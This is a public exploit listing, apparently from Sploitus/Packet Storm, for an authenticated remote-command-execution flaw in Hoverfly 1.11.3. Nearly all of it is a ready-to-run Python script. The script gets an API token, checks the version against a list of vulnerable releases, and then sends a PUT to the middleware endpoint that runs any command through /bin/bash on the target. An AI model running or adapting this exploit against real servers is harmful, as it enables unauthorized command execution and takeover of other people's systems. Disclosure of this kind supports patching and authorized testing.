Share
## https://sploitus.com/exploit?id=PACKETSTORM:219682
==================================================================================================================================
    | # Title     : Hoverfly 1.11.3 Middleware API Authenticated RCE Exploit                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://hoverfly.io/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is an exploitation tool targeting a vulnerable Hoverfly API endpoint, specifically the /api/v2/hoverfly/middleware functionality, 
                     which allows execution of user-supplied input through a backend binary.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import re
    import json
    import time
    import signal
    from urllib.parse import urljoin
    
    class Colors:
        GREEN = '\033[0;32m'
        RED = '\033[0;31m'
        BLUE = '\033[0;34m'
        YELLOW = '\033[0;33m'
        PURPLE = '\033[0;35m'
        CYAN = '\033[0;36m'
        END = '\033[0m'
    
    def signal_handler(sig, frame):
        print(f"\n\n{Colors.RED}[!] Exiting...{Colors.END}")
        sys.exit(1)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    def help_panel():
        print(f"{Colors.YELLOW}")
        print("Usage: python3 script.py -t http://target.com:8888 -u <user> -p <password> -c \"<command>\"")
        print(f"{Colors.END}")
    
    def is_reachable(target):
        try:
            response = requests.get(target, timeout=10, verify=False)
            if 200 <= response.status_code < 500:
                print(f"{Colors.GREEN}[OK] Target is reachable.{Colors.END}\n")
                return True
            else:
                print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
                return False
        except requests.RequestException:
            print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
            return False
    
    def get_token(target, username, password):
        print(f"{Colors.CYAN}[STEP] Requesting authentication token...{Colors.END}")
        try:
            response = requests.post(
                f"{target}/api/token-auth",
                headers={"Content-Type": "application/json"},
                json={"username": username, "password": password},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                try:
                    token = response.json().get("token")
                    if token:
                        print(f"{Colors.GREEN}[OK] Token acquired successfully.{Colors.END}")
                        return token
                except json.JSONDecodeError:
                    return None
        except requests.RequestException:
            pass
        
        return None
    
    def get_version(target, token):
        print(f"\n{Colors.CYAN}[STEP] Retrieving Hoverfly version...{Colors.END}")
        try:
            response = requests.get(
                f"{target}/api/v2/hoverfly/version",
                headers={"Authorization": f"Bearer {token}"},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                try:
                    version = response.json().get("version", "")
                    if version:
                        version = version.replace('v', '')
                        print(f"{Colors.BLUE}[INFO] Detected version: {Colors.YELLOW}v{version}{Colors.END}\n")
                        return version
                except json.JSONDecodeError:
                    return None
        except requests.RequestException:
            pass
        
        return None
    
    def is_vulnerable(version):
        print(f"{Colors.CYAN}[STEP] Checking if target version is vulnerable...{Colors.END}")
        vulnerable_versions = [
            "1.11.3", "1.11.2", "1.11.1", "1.11.0",
            "1.10.13", "1.10.12", "1.10.11", "1.10.10"
        ]
        
        if version and version in vulnerable_versions:
            print(f"{Colors.GREEN}[OK] Vulnerable version detected: {Colors.RED}{version}{Colors.END}")
            return True
        
        print(f"{Colors.RED}[FAIL] Target is not vulnerable.{Colors.END}")
        return False
    
    def exploit(target, token, command):
        print(f"\n{Colors.CYAN}[STEP] Attempting command execution...{Colors.END}")
        
        try:
            response = requests.put(
                f"{target}/api/v2/hoverfly/middleware",
                headers={"Authorization": f"Bearer {token}"},
                json={"binary": "/bin/bash", "script": command},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                response_text = response.text.replace('\\n', '\n')
                
                try:
                    data = response.json()
                    output = data.get('output')
                    if output:
                        print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
                        print(f"{Colors.PURPLE}{output}{Colors.END}")
                        return True
                except json.JSONDecodeError:
                    pass
    
                match = re.search(r'STDOUT:(.*?)(?:STDERR:|$)', response_text, re.DOTALL)
                if match:
                    output = match.group(1).strip()
                    print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
                    print(f"{Colors.PURPLE}{output}{Colors.END}")
                    return True
    
                print(f"{Colors.YELLOW}[WARN] No output received.{Colors.END}")
                return True
    
            print(f"{Colors.RED}[FAIL] Request failed: {response.status_code}{Colors.END}")
            return False
    
        except requests.RequestException as e:
            print(f"{Colors.RED}[ERROR] {e}{Colors.END}")
            return False
    
    def main():
        import argparse
        
        parser = argparse.ArgumentParser(add_help=False)
        parser.add_argument('-t', '--target')
        parser.add_argument('-c', '--command')
        parser.add_argument('-u', '--username')
        parser.add_argument('-p', '--password')
        parser.add_argument('-h', '--help', action='store_true')
        
        args = parser.parse_args()
        
        if args.help or not all([args.target, args.command, args.username, args.password]):
            help_panel()
            sys.exit(1)
        
        target = args.target.rstrip('/')
        
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        
        print('\033[?25l', end='')
    
        try:
            print(f"{Colors.YELLOW}=== START ==={Colors.END}")
            
            if not is_reachable(target):
                sys.exit(1)
    
            token = get_token(target, args.username, args.password)
            if not token:
                print(f"{Colors.RED}[-] Auth failed{Colors.END}")
                sys.exit(1)
    
            version = get_version(target, token)
            if not version or not is_vulnerable(version):
                sys.exit(1)
    
            exploit(target, token, args.command)
    
            print(f"{Colors.YELLOW}=== END ==={Colors.END}")
    
        finally:
            print('\033[?25h', end='')
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================